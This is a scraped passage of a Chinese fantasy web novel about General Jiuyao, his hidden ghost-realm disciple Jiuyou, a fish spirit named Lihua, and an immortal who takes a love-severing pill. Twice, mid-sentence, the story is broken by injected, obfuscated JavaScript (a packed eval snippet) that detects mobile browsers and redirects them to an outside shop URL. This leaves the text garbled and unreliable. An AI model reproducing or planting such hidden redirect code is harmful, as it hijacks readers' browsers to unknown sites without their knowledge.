“这你不知道,九摇将军一定没带你去看过吧。天街是神域最热闹的街市,和人间的闹市一样,那儿什么都有。” “闹市?” “……算了,这些你都不知道。不过我带你去了你就都知道了。” “好啊。”九幽爽快的答应,拢一拢衣袖就跟着栖零潇洒的走了。 (八) 九摇抱着手里的花骂骂咧咧的到了青君的居所。 “青君!青君你给我出来!你哄我呢,这花儿根本就开不了,你给我这不开花的花有什么用?” “喊什么喊?”青君打着哈欠走出来,深吸一口气,憋住,捂住鼻子,“别别别,你别过来了,就站在那儿,你身上这苦味我实在是受不了。” 九摇果真站在殿外不动,“把你这花拿走,换一株开了花的。” “怎么?这就没毅力不想养了?”青君刚想嘲笑他两句,眼睛一瞥竟看见满盆子的水,愣了一下,一如九摇来时也骂骂咧咧的走到了九摇面前,“你对我的花都干了什么?我的花是整个神域里最好养活的,平日里浇浇水陪着说说话就行,你这,你这!” “百年了,我没浇水吗?我没陪它说话吗?是它不肯开花给我面子!” “你给我进来,咱慢慢吵。”那些路过的神仙们停下看好戏的看着他们,青君也懒得再嫌他了,拉着九摇的衣袖进了酿酒殿。 “还有什么可吵的,你的花就这样了,你只要给我一株新的我带回去养着就行。” “大将军养个孩子都养得活,怎么一朵花儿就把你给难住了?莫不是因为你家徒儿也问你了,‘师父师父,这花儿为什么开不了呀’?”青君异常扭捏道。“所以想从我这儿拿一株回去哄你的徒儿一笑?” 九摇脸色稍显难看,显然是被他恶心到了,“不行?” “行啊,当然行。”青君给九摇斟一杯酒,“不过你这立马拿回去,就能见着你徒儿高兴了?要我说啊,你把你徒儿带来我瞧瞧,我亲自教他怎么把这花养活,你也顺道学学。” 九摇当场不乐意了。 “你怎么就还不乐意了?我只是想瞧瞧你徒儿长什么样,那常盛天天说的我眼馋,看看你徒儿多丑。” 九摇表情扭曲,“我徒儿的美丑与你何干?” “确实没什么关系,只是我听着常盛说的实在太丑,就想单纯一看。你说你把你徒儿藏着要是藏坏了怎么办,难不成一直藏着?就关在你大殿里?他出来了又没有人会吃了他,现在闹得沸沸扬扬,你也当满足一下众仙家好奇心了吧。” 青君朝他扬眉,九摇也在认真的想着这个问题。其实一开始就是他的问题,他一直害怕的是因为九幽是小鬼王的身份,会在这神域里待不下去,可仔细一想,除了他之外,知道的也只有帝君和常盛了。 “怎么样怎么样?”青君见他犹豫,立刻乘胜追击,还把酒殷勤的端在了九摇面前。 九摇接过,看着盆里连芽都还不冒的酿酒花,又想起了九幽失落的样子,将杯中酒一饮而尽,爽快的答应了青君。 11. 久久歌一曲(二) (一) “那是什么?”九幽在花匠铺面前停下了。 “哦,那个啊,那没什么好玩的,就是些孤寡老神仙们喜欢的东西。”栖零不在意道,“可以陪人聊天的花。有的神仙终其一生都是一个人,既然没人陪,就只能和这些花花草草们说话了。” 九幽不知为何皱起眉头,“和酿酒花一样?” “只比酿酒花低一个品阶罢。” “那为何我的师尊要养酿酒花?” 栖零和总算是反应过来了,“说不定是怕你无聊,想给你的,所以才……” “可我有我的师尊,师尊也有我,何必再养一株酿酒花?是师尊觉得我陪不了他还是师尊宁愿和一朵花说话都不愿搭理我?” 栖零意识到了这件小事对九幽的意义,已经不在于那朵花开不开花了,恐怕现在九幽比谁都不想再让那朵花开了。 “师尊今日还特意为了那花要去找青君,我以为是师尊为了让我高兴,结果是为了让自己不再那么孤寂罢了。”这位年轻的小鬼王带着自己懵懂的理解把自己分析的一塌糊涂。 “九幽,你别这样,说不定你师尊是为了你不那么孤独。” “可师尊在我就不会,难道师尊这都不知道?若师尊真是为了我而去养一株酿酒花,那等花开之后——师尊就不要我了?” “怎么会,你别这样想。” “那我问你,你的老师已经有你这个学生了,那养过酿酒花吗?” “……我的老师无论在有没有收我当学生之前,都没有养过酿酒花。当然,当然是因为他不擅饮酒,所以也不乐意去青君那里,不然说不定我的老师也会去要一株酿酒花来养的。”栖零尽量说的宛转,实则也是从一开始就不知道为何九摇要养酿酒花。 这话对九幽没什么说服力,他一心只有自己的师尊如何想,哪里会在意别人的。 (二) 尽管九摇踩着云踏着雾的回到殿内,而九幽早就已经和栖零离去。他翻遍了殿内上下,甚至连储物盒子里都翻找可一遍,发现里面依旧是除了九幽小时玩的玩具也没有九幽任何踪迹。 他迫于无奈开始在殿内周围找,看见了路过的小仙童,抓着人家的胳膊就问,“你有没有看见,看见一个白裳青丝的小仙子?” 那小仙童莫名其妙,“仙君,这神域上下全是白裳青丝仙子,连你都是,这我怎么知道啊?” 九摇一愣,这才发现自己拼命藏起来的九幽其实和神域里的仙子没两样。他既没有长出常盛所说的那鬼界犄角,更不是青面獠牙,甚至现在已经是可以看出以后玉树临风的模样——这样美好的九幽,他到底是何故要藏起来? 九摇不再耽搁,即刻启程去找常盛。 常盛今日难得的闲情雅致在那里又是书画也是品茶。大殿内针落可听,水滴可闻,可九摇依旧毫不客气的打破了这份属于常盛的宁静安逸。 “你有没有看见我徒儿?” “你徒儿?你徒儿怎么了。我这好不容易有一份闲暇,你偏与我过不去来打搅我是吧?你徒儿丢了你自己找去,找我又有何用。”常盛不耐烦道。 “你今日这么闲,那你学生呢?” “我学生?我学生又与你何干。” 九摇一气,“你还不知道吧,你平时也不知道多管管你的学生,总是来找我家的九幽,门锁了窗缝了都要把屋顶掀了来我大殿,挡都挡不住。” “什么?”常盛拧眉,一双眼睛瞪着九摇,“栖零怎会去找鬼界余孽!” “什么余孽?你说谁是余孽!”九摇一把掀翻常盛的木桌,笔墨书画全部被打翻成了一滩不明所以的山水画。 “怎么不是了!当初就让你弃了他你偏不,甚至把他养到了现在,反倒是祸害我的学生。你宝贝他,你护他,那也只有你自己,你把他放出去了,看谁还会再容他!” 九摇双手紧握,又是一拳打在了常盛殿内的玉柱上。玉柱不堪重负的显现出裂缝,显然一时间没承受住这一重拳。 “你不愿说也罢了。我的徒儿我自己找去。”九摇带着他的怒气和落魄把背影留给了常盛。 尽管在最血腥与残忍的过往战场上,九摇都不曾有这样的颓废。神也有劫,在当初九摇执意留下九幽的时候,常盛就知道九摇的劫来了。 “你去天街找他们吧。栖零说今日想去那儿玩,我就放他去了。” 九摇脚下顿了一下,许久之后,那紧绷的肩膀才放下,深深地吐出心中那一口恶气,“谢谢。” (三) “小仙君,可要一株?”那穿着彩色霓裳如花一样的仙子见他们久立不去,好不容易开口道。 九幽还犟着脾气,没摆出什么好脸色。那仙子也不尴尬,继续道,“小仙君生的就是如此的俊美,我这花本就不如青君的酿酒花高贵,现在在小仙君面前,更加逊色了呢……” 九幽看向她,半眯着眼,“俊美?” 小仙童见他有了反应,以为是自己说对了话,“对啊对啊,小仙君,你可好看了,所以我这花你就拿一株去吧,它不会抢了你的风采的。” 栖零实在是看不下去了,刚想带着九幽离开了,谁知听到了他最不愿听的声音。 “栖零,你可是又偷跑出来了?”说这话的人是清绝。此时的清绝还不是那已经服用仙丹绝情弃爱的神仙,他身后还跟着手里不停画画的小仙童。 “我可不是偷跑出来的,我得到了我老师的允许,反而是你,还在玩你的红线?” “你懂什么,这能是普通的红线吗?” “这难道不是普通的红线?” 本以为他俩要开始争执,而清绝却不与他多计较,“反正说多少遍你记不住也不会懂。反而是你身旁这位,他是哪家被你拖出来一起受罚的小仙君?” 随后栖零就听见了身旁九幽的声音,“那你觉得九摇将军长的如何?” 栖零:“……” 小仙子天真懵懂,“九摇将军是举世无双的大英雄!大将军!他虽是武官,可性子极好,带人温和,人也如仙鹤一般飘飘。虽常年征战在外,可以依旧清风明月,就是他与常盛将军一齐剿灭了鬼界!那一战,甚至到了现在都让鬼界还没喘上气。” 关于当初那场战争,九摇对他从来闭口不提。 “当初为何要剿灭鬼界?” 小仙子左右看了一下,抱着自己的花,音量小了些,“鬼王让帝君痛失了唯一的兄长,帝君大怒,反正都打了这么多年没有结果,反而那次一下子全部灭了。” 九幽若有所思。 “那么久远的事了,还提他作何?”栖零虽然是这样说,脸上却还是掩饰不住的骄傲与自豪。 “我可是专门钻研情爱的。鬼界生灵中,鬼王和鬼夫人的感情承天地之可鉴,这一点连帝君都知道。若不是最后鬼夫人受伤命不久矣,鬼王又怎会轻易的束手就擒?”清绝插一句道。 “你替那已经不复存在的鬼王说什么话?”栖零道。 “我哪是替他们说话,我只谈情爱,我的意见只代表情爱,与那鬼王并没有关系。只是我一直很奇怪鬼界生灵的感情,他们的感情太简单了,简单到需要我花更多的心思去钻研为何会这样,但若他们的大王都这样了,怎么说仇池那鬼王都是一位明君。” 栖零对清绝这一看法不屑,“鬼界生灵只是一律魂魄一个躯壳终岁游荡,他们的身体只能承载一个感情,如此简单也不为过。” 清绝与他笑容不减,“真期待你以后的样子啊。” (四) 于是,这三位小仙君一同游赏天街。 “天街每天都是这个样子吗?”九幽问。 “当然,这天上地也广,有些神仙跋涉数日数月,也只为来天街玩乐一天。”清绝先回答了他,“话说,你都还未告诉我你是哪家的小仙君,而且看样子,你也并不是刚提上来的吧?” “你把自己管好再说,你管他是谁家的。”栖零对清绝倒是毫不客气。 “我又没问你,你在一旁帮衬什么?”清绝身后的小仙童撞了他一下,小仙童依旧低着头专注的画着自己的画。 九幽反倒是被他给吸引了,凑过去看了一眼。 “你这画的是什么?” 小仙童踉跄了一下,似乎是有些不好意思,眼里忽闪忽闪,底气不足道,“人……人间。” 九幽看的更仔细了,“你知道人间何样?” “人间是什么样子还难想吗?”又是清绝。 “你游过几处山又淌过几条河,就知道人间的样子了?”栖零又不屑了。 小仙童不敢说话了,把自己的画用衣袖遮住了。 (五) “天上的天灯是往人间放的。等到了过节的时候,人间看见的天上的星星就都是天灯替换的了。”栖零指着一处天灯出处对九幽道。 九幽问:“什么节日?” “这个节日,三界都过——是中元节。记得当初鬼界惨败之时,只要是站在人间,往天上的随处一看,那天角边都是星辰。” “是在庆祝吗?” “对,神域里都在庆祝。不过这人间也就惨了,那鬼界覆灭之日,也是风水师魂飞之时,所以天上也要哀悼十日,人间也要大旱十年,这就是神仙打架,凡人遭殃了吧。”栖零向九幽细致的解释道。 “人间的苦日子还长着呢,这大旱十年不知要了多少人性命,又有多少的痴男怨女缠缠又绵绵呢。”清绝感慨。 “你才多少修为就整天情情爱爱了?况且,战争就是战争,这是战争留下,又和那些儿女私情有什么关系?我看你脑袋里面除了谈情说爱就装不下别的了。” “你又懂怎么?我以前就看出了你是个薄情寡义的神仙,根本就不指望你懂什么,可就算是你不懂,就不要随便去批判别人的感情好吗?那鬼王本就没打仗的心思,最后还是死了老婆和孩子,他这苦向谁说?” “他都魂飞魄散了当然没地儿说。”栖零斜睨一眼清绝,“因果轮回,报应无常。” “你还真是天生就适合做神仙。” 九幽终于忍不住了,“这又是为何?” “还能是为何?仇池的妻子死后,仇池也不愿活了,让奶妈带着他的孩子永生永世都不要再回鬼界,未曾想,那奶妈也难逃一劫,在半路上被截杀,仇池的儿子最后也没活下来,好不凄惨。” “是谁截杀的?” “自然是九摇。除了他,还可为谁?” (六) 九摇看见九幽的先是背影,人群里的九幽对他来说格外显眼,即使是一眼,九摇就能牢牢的锁定。 九幽似乎是交到了新朋友,侧着脑袋的一会儿好奇的东看看西看看。他左边的是栖零,右边的似乎是……那望舒殿中牵红线的小神仙和他的仙童——怎的会与清绝一起了? “将军也来逛天街啦?”有仙子认出他,笑着问他同他打招呼。 九摇不及回答,只能以微笑回复,急匆匆的跟上九幽去了。 而那仙子却在九摇走后揉了揉鼻子,皱着眉说了句,“好苦。” 不过栖零和清绝似乎是吵起来了,九幽被夹在中间也不劝谁,反而是看着他们有些不亦乐乎,直到就要听见他们竟然在讨论当初神鬼两战。 “九幽!” 九幽不禁浑身一震,所有神仙也都看向了九摇。 九幽转身,九摇正信步走向他,那神色与姿态,一如当年九摇初捡到山暝时一样凝重。九摇怕的就是那些闲言碎语钻进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990888|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了九幽的耳朵里,会突然唤醒他那潜意识里封存的那段过往。 可九幽已经不可能再记起来了,那段过往被仇池烟消云散,已将九幽置身局外人。 “师,师尊。” “什么?”清绝第一个不明白。 “走,跟我回去了。”九摇抓住的是九幽的掌心,触碰到的那一刻他就后悔了。 “所以,他就是那个小丑八怪?”清绝不可思议的指着那师徒二人。 “你觉得他丑吗?”栖零佩服,若九幽这个长相还能说是丑,那他实在是想不出怎么是美了。 清绝一下子摸不着头脑,他脑子里除了情爱,还真就没再装下什么了。 (七) 九摇藏着的宝贝被放在了大庭广众之下,所有的神仙都争先恐后的想来看一眼,却被九摇身上带着的煞气吓得离远了些。 他这从小宠到大的徒儿果然没宠错,所有人都怕他的时候,九幽永远不会。所以人都在嫌他苦的时候,也只有九幽还愿意靠近他。 九幽看不见他师尊脸上的神情,也不知道自己是不是真如他们所说的传言中那么丑陋才不愿靠近。 “师尊,我丑吗?”九幽问他。 九摇先是一愣,不过也庆幸九幽问的第一句不是鬼界,“你以后若是想出来玩,告诉我一声即可,为何要与栖零偷偷的出来?” 九幽垂眸,看着九摇握着的自己的手,“我一直觉得师尊不愿让我出来。” “怎会?”九摇还是忍不住心虚一下。 “大概是因为我看长得太丑了,我出来那些人就会瞧我,议论我,师尊嫌丢人,大概也就觉得会伤我自尊了吧。”九幽认真的胡说道。 可这胡说,九摇却当做了亦真亦假,停下脚步,正面看着九幽,“我何来嫌弃之说?” “那师尊为何要去青君那儿要得一酿酒花解闷?师尊为了酿酒花专门去找青君,就是为了让它开花。栖零告诉我,那花儿是那些孤寡神仙们拿来解闷的,师尊是嫌我不够解闷,不想要我了是吗?”九幽终于忍不住大吐苦水,把自己想的都说出来了。 果然,九摇对常盛看不对眼,那他的学生也亦会如此,“我怎会嫌你?我是怕你呆在殿内无聊,所以才想养一株酿酒花给你解闷的才是。” 九幽越想越委屈,撒开了九摇的手,“那师尊为何要将我一直关在殿内?” 九摇心里一痛,“飞鸟走兽要保护自己的幼崽,人看见了财富就要去抢,当了神仙又怎能例外?我是怕我的九幽太好了,被人抢了去。” 九幽扑进了九摇的怀里,九摇也张开双臂接了个满怀,“只要师尊不把我丢了,我就不会丢。” 九摇的拥抱越收越紧,九幽却也默默地承受着,承受着将军这蹂进骨子里的怀抱和钻进身体里的苦涩。 (八) 九幽终于也可以像个正常的仙子一样了,这百闻不如一见的传言也不攻自破,现在谁都知道九摇殿中这位眉眼如画,眼含秋波的小仙君了。 九摇带着九幽去找了青君。 青君那花圃院子中的酿酒花叽叽喳喳的好不吵闹,与九幽想象的完全不一样,这些美丽的酿酒花与雅静沾不了任何边,一眼望去妖艳众生全部朝九幽看来。 “这谁家的小仙君,竟生的如此多情!” “这位小仙君真好看,和我一样好看。” “和你一样的话那是何样?你只知自卖自夸,明明是这小仙君更胜一筹。” 九幽看着他们头挨着头窸窸窣窣,好奇的走近去靠近了些,那些花更躁动了。 “小仙君过来了!” “小仙君是在看我吗?” “明明是在看我!” 它们在此,如深闺里的少女初见一位少年郎君,情窦初开,带着懵懂的探知,各与各讨论,各有各的见解。 “你们都会说话?” “那是当然,”一株工莓自豪抢答道,“小仙君为何会到酿酒殿来?可和那些仙子一样,是来偷酒喝的?” 九幽摇头,“我是和我师尊一起来这儿的。” “我才不信,来这里偷酒喝的神仙的理由可多了去了。”工莓摆动它的枝叶,似乎是刚浇过水,无论是枝叶还是花瓣上都是饱满的露珠,它摇身一抖,那腰肢扭动时都是富态优雅,“你师尊是谁啊?” 九幽想了想,“九罗将军府里的九摇将军。” 那工莓花枝一抖,像它们这样的花草生灵,是最怕这位将军的。只要是九摇所去之处,就都是沙场,打过一仗,那境内都是寸草不生的荒凉景象。 “你,你胡说什么?” “我没胡说。” “那你为何要犹豫之下才说?” “我就是怕你们说我胡说,我才想了想的。” “……”那工莓甘拜下风,不与九幽再斗,裹起自己的花瓣,把自己给自欺欺人的藏匿起来了。 九幽看它变成了含苞待放的姿态,用手去碰了碰它,谁知工莓一点即燃,张开它的花苞咬住了九幽的手指。 其实这也不算是咬,可是在工莓想来,这就是咬,甚至开花之时就如同是张开了它的血盆大口。这花圃里的花,其实都和这株工莓一样,以为美丽是武器。 九幽轻松的就收回了指尖,那工莓显然也没料到,更是收起了美丽藏进花海里了。那些酿酒花一看工莓败仗,再加上对九摇的生畏用在了九幽身上,一下也都瑟缩的藏了起来。 九幽走远时还能听见它们的窃窃私语: “他和九摇将军一样可怕……” “他一来我就闻见了身上的苦味,我记得,他和九摇将军上次来时的味道一模一样……” “别怕,青君还在呢,只要是青君还在,他什么都不敢做!” 12. 久久歌一曲(三) (一) 青君一见九幽之时,就相中了他。 青君是神域里唯一的酿酒仙官,酿得一手绝品的回梦佳酒,却是有名的孤寡老神仙。他先看中的就是九幽的样貌。九幽的样貌里始终带着鬼界里的邪气,那是他天生就自带的,再加上鬼界里终年不见光的缘故,所以鬼界的生灵大多都是苍白。而九幽现在生活在神域里,神域里的灵气养人,九幽的皮肤就如那冷白玉一般,细致又细腻。 所以他对九幽的关注和在意,快要与当初的将军一样了。 “你的小徒儿,天生是一副多情的模样,就适合来酿酒,简直就是为了酿酒而生的。” 九摇皱眉,很是不高兴,“只是你以为。” “这哪是我以为啊,他自己就是这副模样,况且,他虽说现在是你徒弟,可你还能教他什么?” “什么叫做现在是我徒弟?” 青君笑的不怀好意,“现在不用打仗了,你能教他的我都能教,而且还能教他你不会的,不如就让给了我,当我的徒弟算了。” “不可能!”九摇拍案而起,怒道,“我什么不能教他?现在鱼渊依旧是下落不明,鬼界随时都可以卷土重来。” 青君叹息着摇头,惋惜的说道,“你真就想让九幽和你一样到处去打打杀杀染一身的苦?” 九摇一听,怒气反而是一点一点的消了下去,“只要他是我九摇的徒弟——”九摇的声音有些飘忽,“我九摇的徒弟怎么就不能了?我一个将军,自己的徒儿上阵杀敌更应当是首当其冲。” 青君一下子哑然,“那当你的徒弟还真是活受罪。” “当你的徒儿就好了?一辈子都和温室里的花待在一起?” “至少比跟着你受苦好。我要有徒弟,捧在手心里都害怕化,更别说让他去打仗了。我恨不得他就跟温室里的花一样,安逸一辈子,没心没肺也好,整日在酒坊里借酒消愁也好。” 九摇也再没了叫嚣的气焰,他何尝不想,何尝不想让九幽安安逸逸的在天上过着逍遥神仙的日子,何尝不想? (二) 自从众仙们知道了九幽并非常盛说的那样丑陋不堪后,便也终于没了心思,可又听那大嘴巴的青君如何说得九幽的美貌,他们个个精神劲儿就又被提起来了。 那日九幽在大殿外等着栖零他们,谁知栖零还没有等来,等来的却是一位身着霓衫羽裳的仙子。 她步态轻盈,眉如山墨之画,一双眼睛楚楚动人顾盼生姿,那粉雕玉琢的面庞对着九幽便是含羞一笑。 九幽眼看四周只有他们二人,重新看向她,用九摇教他的,先后退一步,而后俯首作揖,恭恭敬敬的唤了一声,“仙子。” 那小仙子抬手遮住了自己的面庞,迈着轻盈的步伐朝九幽而来时如同是在起舞,那双皓齿在绛红朱唇之间影影绰绰,惹人暗生幽波。 “仙子?” 她的面庞与九幽相贴咫尺。 “梨花。” (三) 这名似乎是叫作梨花的仙子与九幽稍离。 “你怎么又从池子里跑出来了?”那位仙子步伐从容不迫,优雅至极,与面前这位仙子所比沉稳甚多,“这位是……”仙子看向了他身后的大殿,“你可就是,将军府里的九幽仙君了?” 九幽偏头,梨花也跟着歪了歪头,“仙子是……” “我是白狐。”白狐笑若春朝之外撩人心弦,“仙君可知道她是谁?” 九幽看向梨花,摇头。 “她是梨花,是池子里的一条鱼。”白狐道,“是风水师曾养的一条鱼。她身上残留的,都是风水师的气息,不知为何今日跑了出来,还打搅了仙君。” “风水师的鱼?”九幽重新打量梨花,谁知梨花又要与她贴近,嘟起了她的樱桃嘴,猝不及防的就在九幽脸庞无声无息的挨了一下。 “……这鱼不知羞,请仙君不要在意!”白狐急了,急忙上前想要抓住梨花,谁知刚一抓住梨花,梨花就生生从她眼皮子下,手心里滑走。 “无妨。”九幽摸了一下刚才梨花亲到的地方,那小鱼儿的嘴凉凉的,“你说她是风水师曾养的鱼,为何会成这样?” “她身上残留的气息,已经不能再维持她现在的姿态了,她生得这般的好模样,仙君就是再多看看,以后也留不住了。” “此话怎讲?” “等风水师的仙气完全消失殆尽,她已经不能再成为这模样了,能让她幻化为人的,只有风水师和帝君那样如此强大的仙力。以后啊,她就只能在神域里安安静静的成为一条鱼了,或许也是这几日她已经差有所觉,才想着要逃出来。”白狐心疼的摸了一下梨花,梨花这次没有躲了,像是习惯了,“我也是无意间发现她的,这偌大的神域里,风水师一走,就没人管她了。” 九幽垂下眼眸,“那可真是可惜了。” “简直就是何等的可惜!终生困在那些大大小小的池子里,再也变不出这样貌美的容颜供人欣赏,何止是可惜可以形容的。”白狐的秀眉都皱到了一块。这两位美人,一个是天真烂漫的模样,眼里装载着用永干涸的水光,另一位,愁容美面,叫人心疼,叫人不是滋味。 “那为何帝君不肯……不肯为她维持身形?”九幽犹豫道。 白狐一阵痛心,“帝君不肯,因为梨花身上都是风水师的气味,而纵使是有风水师的气息,那已经去的风水师,还会再回来了吗?想必是帝君也不愿再经历一次丧失亲人的痛苦罢。” “不过也好,以后梨花就当一条快快乐乐的鱼,就呆在池子里。虽然对她来说不公平,也许是几百几千年的孤寂,我也期待她的容颜再现。” 九幽良久的注视着梨花,梨花又要与他贴近,他连忙后退,与她保持相对安全且触碰不到的距离,微笑着同她讲,“梨花仙子,这恐怕不合适。” (四) 九摇发现了九幽的异常。他发现明明经常和栖零他们一起出去潇洒游乐的九幽,却突然与一位仙子同行了。 那仙子他不知道是谁,也没有见过,没有任何的印象,奈何他也不敢靠太近,只要他一靠近,他身上的苦味泛出,九幽就一定会发觉。 这日九幽又和梨花出去了。自从那日梨花与他的偶然相遇,这条鱼就仿佛是找到了自己喜爱的池子,天天游在九幽身边。 梨花不会说话,所以九幽和她同行的时候,大多都是沉默,仿佛他们真的在水里,听不见对方的声音,也不能说话。 他只是稍微走近了些想要看清,可九幽却侧过了头,他不甚狼狈的躲在了柱子后面。 梨花又围着九幽转,她习惯性的吐着泡泡,与九幽不停的嘟嘴,尽管九幽有时候总是告诉她,让她不要这样,可梨花毕竟是一条鱼,总不能要求一条鱼不需要水吧。 梨花一直垫着脚尖的想要与他相碰,九幽也一直盯着九摇躲着的柱子没有在意,谁知他的头转回来时,刚好与梨花的唇不轻不重的碰了一下,而九摇刚好看到这一幕。 九摇对九幽的念想一下子如同开凿的山河水,倾斜而出,义无反顾的一头撞向了磐石——手中紧握锋芒,不透风的掌心张扬无声,那人间带着的夹杂着冰碴子的风都能嵌入他的心脏,变幻为水,最后竟然连痕迹也找不出。 (五) 九摇把九幽带回去了,理由用的是不加进学习功课,却在这里与仙子幽会,就这样把九幽抓回去了。 “师尊,我哪里没做好?”九幽疑惑道,梨花还怯怯的跟在不远处。 九摇哑住,说不出个所以然,只能拿出他多年当将军的威严警告的看一眼梨花,梨花就在那儿站着不动了。 “你要是再靠近,就别怪我不留情面了。” 九幽皱眉,“师尊,你这是怎么了?” “我没怎么,就是让你少与这样的仙子来往。” “哪样?” “你连她是谁都不知道,为何又要与她同往?为何我从未见过她?”九摇佯怒道。 “我当然知道她是谁。”九摇从未有这样黑白不分的时候。 “她是谁?” 九幽顿了一下,“她叫梨花,是一条鱼。” “神域里何时有过鱼儿神仙的?你一定是被她给骗了,神域里从来没有过……”九摇突然顿声,神域里确实没有鱼儿神仙,除了——除了当初风水师养过的一条鱼。那条鱼深受风水师的喜爱,不仅被风水师养在殿内,还给了她人身。 “她是风水师的鱼?”九摇警觉道。 “对啊,她是风水师曾养过得一条鱼,那天我在殿外遇见了她。” 风水师养的鱼为何会找上九幽?九摇看向梨花的眼里更无善意了,“你以后不许再与她见面。” “为何?”九幽不明白。 “九幽,没有为何,就因为这是我说的,我是你的师尊,就没有为何。” 九幽愣愣的看着自己的师尊,又看向远处不敢靠近的梨花。 梨花定是闻到了九幽身上当初残留的风水师的灵气才会前来寻找,九摇不管她目的是什么,任何与当初大战相关的人或事,九摇都不希望再以任何方式出现在九幽面前。 九摇带着九幽越走越远,更不许九幽回头,只剩下梨花一个人站在那里,谁也不知道她站了多久。 (六) 也正是那日,坐在高堂之上的帝君耳边忽闻一声凄切的“乱玉”,他朝堂下看去,一眼而去,那些神仙们都还在愁容满面的讨论有关鱼渊重振鬼界,卷土重来一事。 自从他当上了帝君,再也没听过谁敢唤他一声乱玉,就连风水师也因君臣之仪不再。 他怅然若失,那声乱玉深切如斯,这世间有关风水师的一切至此烟消云散,杳无踪迹。 (七) 九幽被九摇关在房中一个月,他刚被放出来没几天,栖零就急忙找上了他。 “九摇将军说你犯错受罚,把你关了一个月紧闭——你犯什么错了,啊?”栖零抓着九幽就开问。 九幽还有些恍惚,这一月里,九摇甚至没来看过他。 “说话啊,傻了?” “我想把酿酒花给淹了。”九幽牛头不对马嘴的说道。 “什么?” “我说,我要把那酿酒花淹了。”九幽神智尚有回旋的余地,他认为,在他被关的这一个月里,陪在九摇身边的一定只有酿酒花了,就因为酿酒花,所以九摇才不曾来看他。 “……别酿酒花了,清绝出事了。” “他出什么事了?”在九幽看来,清绝并不像是能出事的人。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990889|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不算什么大事。只是他要成为望舒殿里的望舒仙君了。” 清绝成为望舒仙君是迟早的事,这并没有什么好大惊小怪的,但值得在意的是,望舒殿的仙君掌管情爱,不出所料,栖零所说的出事,应该是清绝要服用那绝情弃爱的仙丹了。 可若是没有情爱,那仙丹对清绝来说,只是一粒糖罢了,服用下去,连失去了什么都不知道。 九幽觉得清绝从来都是没心没肺的,可听栖零的语气,事情似乎并非如此。 (八) 等他们赶到的时候,清绝正疼的地上打滚,那地上,墙上,桌上,凡是能供清绝撞的地方,全是酒水与血水混杂在一起。闪烁着珠光。九幽还从未见过这样的情景,可分明就是没见过,那怪异的恶心感却涌上心头,至此他停下了脚步。 “清绝!”栖零把清绝制住,清绝一下子就不能动弹了。 清绝脸上全是痛苦的神情,他强睁开眼看见了栖零,不知又出于什么原因而闭上了眼。 “九幽!别愣在那儿,快过来帮我按住他啊!平常也没见他有这劲儿啊。”栖零道,“清绝,你把眼睛睁开,睁开看着我,清绝!” 九幽犹豫不前,也不知道自己能帮到什么。 清绝的额角被撞破了,他把眼睛睁开的时候,血流进了他的眼睛里,他现在眼里全是血红色,依旧是故意偏头不去看栖零,把他痛苦而愤恨的神情全部转向了九幽。 “……”九幽无辜的歪头。 “清绝,你现在感觉还好吗?看着我,知道我是谁吗?” 清绝当然知道,这整日被自己说做是薄情寡义的神仙,今日却能露出这样的神情来关心他。这只是一见无关生死的小事罢了,可清绝想要在这件小事成了之前好好记住栖零这样子,可他只要一看栖零,全身上下那疼的,如火如荼。 可他忍不住,栖零这样子,他实在是忍不住。只需这最后一眼,他此后都不会再奢求,不会再有感觉。 这是他对有关情爱的最后感觉。要成为替别人搭桥拉线的神仙,只能体会别人的情感,若有任何自己不干净的心思,他就成不了这望舒仙君了。 清绝为栖零落下最后一滴眼泪,“我可是掌管情爱的神仙,当初我还真的没有说错,你当真就是一个天生不懂情爱的神仙。” “这时候了,你还说这个干什么?” “栖零,你不懂,你就是一介武夫,什么都不懂。以后我可就是望舒殿里的仙君了,那红线,再也不是我闹着玩了,以后我只能替别人牵姻缘线了,这绝情丹我可就咽下去了,你就没有一句真心话在同我讲?” 栖零还是不懂,“这绝情丹,要得了你半条命?” 清绝认命的偏过头,“要不了我半条命,更伤不得我一丝一毫。这些伤口,皆是我自己撞出来的。” “你这是在给自己找罪受。” “我就是在给自己找罪受,你就毫无半点心疼?” “这来去里,疼的只能是你自己,若真能转移这绝情丹给你带来的痛苦,我何尝不会替你受?” 清绝凝噎,他知道就快要来不及了,他正感觉自己身上有自己抓不住的东西在流逝,那东西看不见也摸不着,甚至有时候连感觉也时有时无,所以清绝在那感觉最微薄之时,拼下余生一条命,强吻了栖零。 (七) 那感觉没有了,消失的无影无踪。从此,清绝成为了望舒殿里绝情弃爱的仙君。 他满脸的泪痕躺在栖零怀里,他们的嘴唇都还没有分离,与彼此贴近,眼里都只有对方。 可清绝的眼里只有一泉清池,栖零眼里只剩下恼怒。 而看戏看大发了的九幽,还愣在原地不知所措。 栖零推开了清绝,清绝只能顺势的摔倒在地,甚至还有些茫然。 “你还真是恬不知耻。” “栖零,这是坏事吗?”清绝毫无包袱的连滚打爬的起来,“九幽都看见了,九幽,你说这是坏事吗?” “清绝!”栖零朝他怒吼,露出恶心的神情,而清绝还是风轻云淡的笑着,栖零更怒了。 “栖零,别让自己看着像个姑娘似的,怎么,难不成等会儿你就要去朝你的老师告状了?” 